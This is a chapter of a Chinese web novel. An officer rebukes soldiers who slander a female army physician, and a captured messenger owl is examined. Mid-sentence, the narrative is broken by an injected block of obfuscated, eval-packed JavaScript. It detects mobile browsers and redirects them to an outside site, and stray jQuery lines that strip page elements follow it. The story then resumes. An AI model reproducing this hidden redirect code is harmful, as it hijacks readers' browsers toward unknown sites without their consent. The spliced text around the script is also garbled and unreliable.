109. 第 109 章
作品:《乖,叫爹!》 “你刚刚不是还能言善道吗?这会怎么,哑巴了?”陶玦厉声问道,“让你解释,是看在你我曾经一起为大周而战,你若是再不说,我就当你是认了罪责!”
赵大忠用祈求的目光看着陶玦,他十分想为自己辩解,但奈何他此时真的哑巴了啊!
旁人也不明白为什么赵大忠突然不说话,只当他是被陶玦突然出现吓到,又觉得陶玦一定是斯有欢叫来的,搬救兵使阴招用权势压人,实在是小人行径。于是便有“正义之士”为赵大忠求情。
“陶副将,大忠讲话虽然直白,但也不是没有道理。”说话的是潘超,赵大忠的同乡,“伤兵营里这么多没穿衣服的兄弟,她也不避讳,寻常人家的女子哪有这样的?需知女子,最重要的就是贞洁名声……”
斯有欢搓了搓手指,想将这个废话的也一起毒哑算了。
不料陶玦却先她一步暴起怒喝:“你放屁!她是郎中,治病救人如何就不是好名声了?贞洁?你们自己不穿衣服被人看见了,你们说郎中没贞洁?”
被陶玦骂的潘超很有些不以为然,男人有什么贞洁?
斯有欢却第一次用正眼看陶玦,这老头,有点意思。
“你逛窑子没想起来贞洁?你看见小娘子眼睛发直没想起来贞洁?你对着给你们救治的郎中,你他妈想起贞洁来了?”陶玦嗓门奇大,屋里一时好像是产生了回声。
“将军治下,就是真卖身的歌妓都不许亵玩,那是因为即使是歌妓也是大周子民,你在这一口一个荡,妇,你清的到底是谁的门户?”陶玦点着赵大忠与潘超,“说!谁的门户?”
斯有欢认真反省了一下,觉得自己为了红包答应认老头做义父,属实有点不识抬举。没有红包认这个亲戚,也是可以的。
当然,有红包就更可以了。
脑子里转过一圈,看见憋得满脸通红的赵大忠,早知道就慢点下手了,不然听听赵大忠放什么屁,也挺好。
潘超也被堵得没了声,目光落到地上,再不说话。
陶玦一拍案几:“郎中救人,天经地义,不指望你们感恩戴德,若是再胡说八道,休怪我军法伺候!”
案几应声而断,斯有欢操心地看着陶玦,生怕他太过用力,将伤口崩裂。桑白线毕竟比不上缝合线,正常活动可以,太过用力韧劲多少还是差一些。
“陶副将,骂人用嘴就好了,千万别动手!”斯有欢劝道,“为了骂人崩裂了伤口不值得。”
也就斯有欢敢在此时开口,她一说话,陶玦的表情明显缓和,一语双关:“倒是没有你想得开。”
他不知道斯有欢对这种事情看得十分淡然,不仅淡然,简直可以说是刀枪不入。什么“荡,妇”之类,对于斯有欢来说,杀伤力还不如赵大忠那个难听的破锣嗓子。反正惹毛了她要么银针伺候,要么用来试药,她全当行善积德。
陶玦说完,奇怪地看赵大忠:“你怎么回事,刚刚胡说八道不是挺厉害么,怎么我来了一个字都不说?”
这属实是冤枉赵大忠,但斯有欢也没打算帮他解释,毕竟当众投毒在她看来,才真是一个郎中的“德行有失”,干得不露痕迹才是上策。
“也是个欺软怕硬的东西!军规第十五条,自己去领罚!”陶玦道,“你也去!”
潘超应了令,见赵大忠还是不吱声,当下心头有些不快,自己这么替他出头了,这人还是八竿子打不出一个屁来,属实不是爷们,气得自顾先走了。
赵大忠憋闷在心,只得就着跪下的姿势给陶玦行了礼,闷头出去了。
陶玦环视了一圈房内:“斯郎中治伤,她的职责,就是将你们治好,让你们能尽快保家卫国。其余那些都是无关痛痒的细枝末节,你们再计较,就别说自己是男人!”
斯有欢终于露出个笑脸,非常诚心地陪着陶玦出门:“陶副将,听声音,恢复得不错了。”
陶玦不再是屋内高位者的姿态,真心像个父亲一般看着斯有欢:“你要是受了委屈,尽管来与我讲,我定为你主持公道。”
斯有欢虽觉得自己并不需要,却仍是领了他这份情谊:“是,那就劳烦陶副将了。”
陶玦要收斯有欢做小妾那是百般不情愿的情非得已,但要收斯有欢做义女,此时越看越觉得这个小姑娘可爱,夫人崔小芝定然喜欢。
“说什么劳烦不劳烦,以后就是一家人了。”陶玦忽然压低了声音,“你若是有什么惩治的手段,千万不要被人发现。若是被人发现了,记得来找我。”
斯有欢神色复杂地看着陶玦,努力维持着笑容,原来一早就穿帮了吗?自己那点草包手段,果然没法瞒过镇守一方的悍将。还是得练!
“是。”斯有欢诺诺道。
陶玦心中更是高兴:“我已与夫人说了,待收复靖城,便收你为义女。我夫人温雅淑良,早就想要个女儿,你一定会喜欢她这个母亲的。”
陶玦一高兴,三句不离“我夫人”,没注意亲卫刘猛,听到“温雅淑良”时表情略略变了变。
斯有欢送了陶玦一程,这才告别回伤兵营。陶玦想到即将有女儿,止不住的欢喜。回房的路上碰到张志泽的亲卫来请,觉得自己马上能重回战场的陶副将更是心情愉悦。
“将军是有什么事?”陶副将下意识地问道。
“陆都尉与将军密探,其余的属下不知。”
陶玦立刻明白,这是陆为安发现了什么新的消息。一想到陆为安,陶副将的心情有些微妙的变化,自己那么好的女儿,又聪明,又会医术,长得也很是清秀,居然只是陆为安的妾。陆为安不过是镇国公府的世子,他配吗?
还没将斯有欢正式收为义女的陶玦,此刻有点不开心了。
在议事厅里见到陆为安,陶玦脸色也没多缓和。
那只倒霉的鸱鸮被绑住了腿,嘴也被缠住,四仰八叉地躺在地上,只有两只又大又圆的眼睛滴溜溜地盯着陆为安和张志泽。
陆为安见陶玦进来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593335|162549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行礼道:“陶副将,伤可大好了?”
陶玦要笑不笑地对他点了点头,对张志泽道:“将军!”
他前后态度变化太过明确,陆为安有些诧异,一时没明白自己怎么得罪这位副将了。张志泽也诧异地瞧了陆为安,但此刻不是说这些的时候,于是对陶玦道:“世子找到了这个,想着你伤好了,也该让你动动。”
陶玦看着鸱鸮,立刻明白:“这是有人用它送信?送的什么信?”
张志泽笑起来,将从鸱鸮身上拿下的布袋交给陶玦:“你看看。”
布袋是用很薄的麻布料子做的,靖城随处可见。陶玦拿在手里翻了翻,发现这个顶多能塞进他半个拳头的布袋居然还破了个不大不小的洞。他心里不由一沉,问张志泽:“空的,信丢了?”
张志泽不动声色:“你觉得呢?”
陶玦觉得不对,心道陆为安做事不能这么不靠谱,鸟都抓到了,信还能丢了?也不一定,毕竟自己这么好的闺女,在他眼里不过一个妾。陶玦在心里冷哼了一声,没眼光!
他清了清嗓子,问:“原本里面就没有东西?”虽然是问句,但语气很是笃定,陶玦观察着布袋的漏洞,这样子,定然是有人故意弄坏的,“消息就是这个布袋。”陶玦斩钉截铁地说道。
张志泽指着他对陆为安调笑:“我说什么来着,陶副将一定能看出来。”
陆为安点头称是,此时陶玦又瞧了他一眼,这一眼还是透着古怪,陆为安总有一种自己把陶玦得罪狠了的感觉,但他又确定自己没有对陶玦做什么。不对,陆为安反应过来,他建议陶玦收斯有欢做义女,可他自己答应得不是挺痛快的吗?
陆为安嘱咐自己要更小心些,应道:“果然瞒不过陶副将。”
他态度很是谦卑,完全没有世家子的傲慢,但也并没有取悦陶玦,陶玦暗道,可不么,你哪能瞒得过我?
“你觉得这人是想传递什么消息?”张志泽装作没看到两人的机锋,又问。
陶玦猜到袋子本身是消息时就想到了:“应该是有什么走漏了。”至于是什么,陶玦看着手里的袋子,“可是有人去靖城查探了消息,被此人知道了?”
张志泽大笑:“老而不死是为贼,陶副将,你这个老贼可是名副其实!”
“陶副将果然慧眼如炬!”陆为安也趁机拍陶玦马屁,可惜拍在马腿上,陶玦毫不领情。
张志泽的惊讶再没能忍住,只眼下有正事要谈,他将疑惑放到一边,问陆为安:“可有线索鸱鸮是谁放的?”
“此事还得再暗中查一查,这鸱鸮不比信鸽,养它总会留下蛛丝马迹。”
“好,一定要快,莫要让人抢了先机!”
“是!”陆为安立刻领命出去,离开前他犹豫了下,还是对陶玦道,“陶副将,属下先行告退。”
陶玦只是一抬下巴以示自己听到。
等陆为安离开,张志泽终于忍不住,问陶玦:“老陶,你这是做什么?”